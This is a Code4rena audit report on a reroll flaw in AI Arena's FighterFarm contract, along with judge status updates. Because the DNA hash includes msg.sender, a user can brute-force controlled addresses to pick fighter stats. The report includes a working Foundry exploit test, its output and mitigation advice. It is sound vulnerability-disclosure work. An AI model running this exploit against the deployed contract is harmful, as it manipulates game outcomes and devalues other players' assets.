Rerolling is Deterministic

[c4-bot-6]

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370-L391

Vulnerability details

Impact

Users can determine the stats of their fighters at will. Devalues "rare" fighters.

Proof of Concept

This exploit relies on the fighter being transferable.

The core issue is how the contract generates the fighter's dna. The dna generation on line https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L379

        uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));

Including msg.sender with the hashing function makes the function non-deterministic. This allows the user to transfer their fighter to another address they control for a different result when calling the reRoll function. This can be further abused using tools like foundry to simulate the result of the reRoll function from different addresses.

The following code can be added to the test/FighterFarm.t.sol to demonstrate the vulnerability.

Note: The test should alter the following import before running the test:

import {FighterFarm, FighterOps} from "../src/FighterFarm.sol";

// Helper functions for simulating dna generation:

    // Private function from FighterFarm.sol
    // If using private functions bothers you, 
    // there is an easier method of just forking the chain and rolling at different addresses post deployment.
    function _createFighterBase(uint256 dna, uint8 fighterType) 
        internal 
        view 
        returns (uint256, uint256, uint256) 
    {
        uint256 element = dna % _fighterFarmContract.numElements(_fighterFarmContract.generation(fighterType));
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

    // We add 1 to the number of rerolls since the code increments before hashing line FighterFarm.sol:L378 
    function _getDna(address sender, uint8 tokenId) public view returns(uint256) {
        return uint256(keccak256(abi.encode(sender, tokenId, _fighterFarmContract.numRerolls(tokenId) + 1)));
    }

// Start PoC
   function test_DeterministicReroll() public {
        _neuronContract.addSpender(address(_fighterFarmContract));

        // Mints token to staker
        address staker = vm.addr(3);
        _mintFromMergingPool(staker);
        _fundUserWith4kNeuronByTreasury(staker);        

        // We can assume we know the tokenId of the token we are rerolling. In this case its Id zero. 
        // Retrieving the relevant information needed to simulate the roll
        uint8 tokenId = 0;
        uint8 fighterType = 0; 
        uint8 generation = _fighterFarmContract.generation(fighterType);
        (,,,,,,,uint8 icon, bool isDendriod) = _fighterFarmContract.fighters(tokenId);

        // Snapshot the attributes before
        (, uint256[6] memory beforeRoll,,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);

        // Reduce runtime by setting pkey near actual value of pkey = 203987. 
        // Can just loop until you find what you are looking for.
        for (uint256 pkey = 203985; pkey < 400000; pkey++){
            // Create a puppet address using an integer private key
            address puppet = vm.addr(pkey); 
            // Simulate what the dna would be when sent from the puppet address.
            uint256 dna = _getDna(puppet, 0);
            (, , uint256 newDna) = _createFighterBase(dna, fighterType); 
            FighterOps.FighterPhysicalAttributes memory attributes = _helperContract.createPhysicalAttributes(newDna, generation, icon, isDendriod);
                // Check if all attributes meet the criteria
                // Can use whatever stats you want to find
            if (
                attributes.head >= 5 &&
                attributes.eyes >= 5 &&
                attributes.mouth >= 5 &&
                attributes.body >= 5 &&
                attributes.hands >= 5 &&
                attributes.feet >= 5
            ) {
                console.log("Attributes Found");
                console.log("Private Key: ", pkey);
                console.log("Address: ", puppet);
                // The staker sends the nft corresponding to tokenId to the puppet address.
                vm.startPrank(staker);
                _fighterFarmContract.approve(puppet, 0);
                _fighterFarmContract.transferFrom(staker, puppet, 0);
                vm.stopPrank();

                // The puppet address gets funded, normally from the staking address but this was simpler. 
                _fundUserWith4kNeuronByTreasury(puppet);
                // Puppet address calls the reRoll function to make a deterministic roll
                // The puppet address then sends back the token to staker.
                // Why can the puppet address call the function, because the staker knows the private key to this wallet
                // When we are looping over pkey we are looping over private key values, which are effectively just uint256 values
                vm.startPrank(puppet);
                    _fighterFarmContract.approve(address(_fighterFarmContract), 0);
                    _fighterFarmContract.reRoll(0, fighterType);
                    _fighterFarmContract.approve(staker, 0);
                    _fighterFarmContract.transferFrom(puppet, staker, 0);
                vm.stopPrank();

                break;

            }

        }
        // Snapshot the attributes after rolling
        (, uint256[6] memory afterRoll,,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);

        // Print out the results
        console.logString("Fighter Attributes BEFORE Reroll: ");
        for (uint256 i; i < beforeRoll.length; ++i) {
            console.logUint(beforeRoll[i]);
        }
        console.logString("");
        console.logString("Fighter Attributes AFTER Reroll: ");
        for (uint256 i; i < beforeRoll.length; ++i) {
            console.logUint(afterRoll[i]);
        }
    }

This results in the following logs:

$ forge test --mc FighterFarmTest --mt DeterministicReroll -vvv
[⠒] Compiling...
[⠃] Compiling 1 files with 0.8.13
[⠊] Solc 0.8.13 finished in 5.73s
Compiler run successful!

Running 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] test_DeterministicReroll() (gas: 825709)
Logs:
  Attributes Found
  Private Key:  203987
  Address:  0xDE2EE9A9f5460b92d3B8eA212D558798D903DAA3
  Fighter Attributes BEFORE Reroll:
  1
  4
  1
  1
  0
  1

  Fighter Attributes AFTER Reroll:
  5
  5
  6
  6
  5
  6

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.88ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

This particular example is only searching for attribute values >= 5. This can replicated to search for specific values of the fighter's element, weight and attributes. This gives players with the capability of exploiting the reRoll logic a significant and unfair advantage.

Once the system is deployed, it is even easier to write a script to abuse the reRoll function by forking the chain and calling the function directly.

Tools Used

Foundry, manual review

Recommended Mitigation Steps

There are two solutions to this problem.

The most robust solution is to receive random numbers using a service like Chainlink's VRF. This however, would require significant changes to the codebase and system design. The lesser solution in the same vein is for the project to compute random numbers off chain themselves and supply them to the contract, although implementing such a system is non-trivial.

The more reasonable solution would be to only use variables independent of user influence in the hash function. Removing msg.sender in line 379:

uint256 dna = uint256(keccak256(abi.encode(tokenId, numRerolls[tokenId])));

This leaves the hash function with variables outside the user's control, and the numRerolls variable acts like a nonce value, incrementing on each reroll ensuring the hash is different than before. This does, however, mean that the reRoll function is still deterministic such that users can pre-determine what the rerolls for each token will be. They will be able to pick from attribute profiles for as many rerolls they have remaining. This solution will no longer allow the user to select exactly the attributes they want.

Assessed type

Other

[c4-pre-sort]

raymondfam marked the issue as insufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #53

[c4-judge]

HickupHH3 marked the issue as satisfactory

[c4-judge]

HickupHH3 changed the severity to 3 (High Risk)

[c4-judge]

HickupHH3 changed the severity to 2 (Med Risk)

[c4-judge]

HickupHH3 marked the issue as duplicate of #376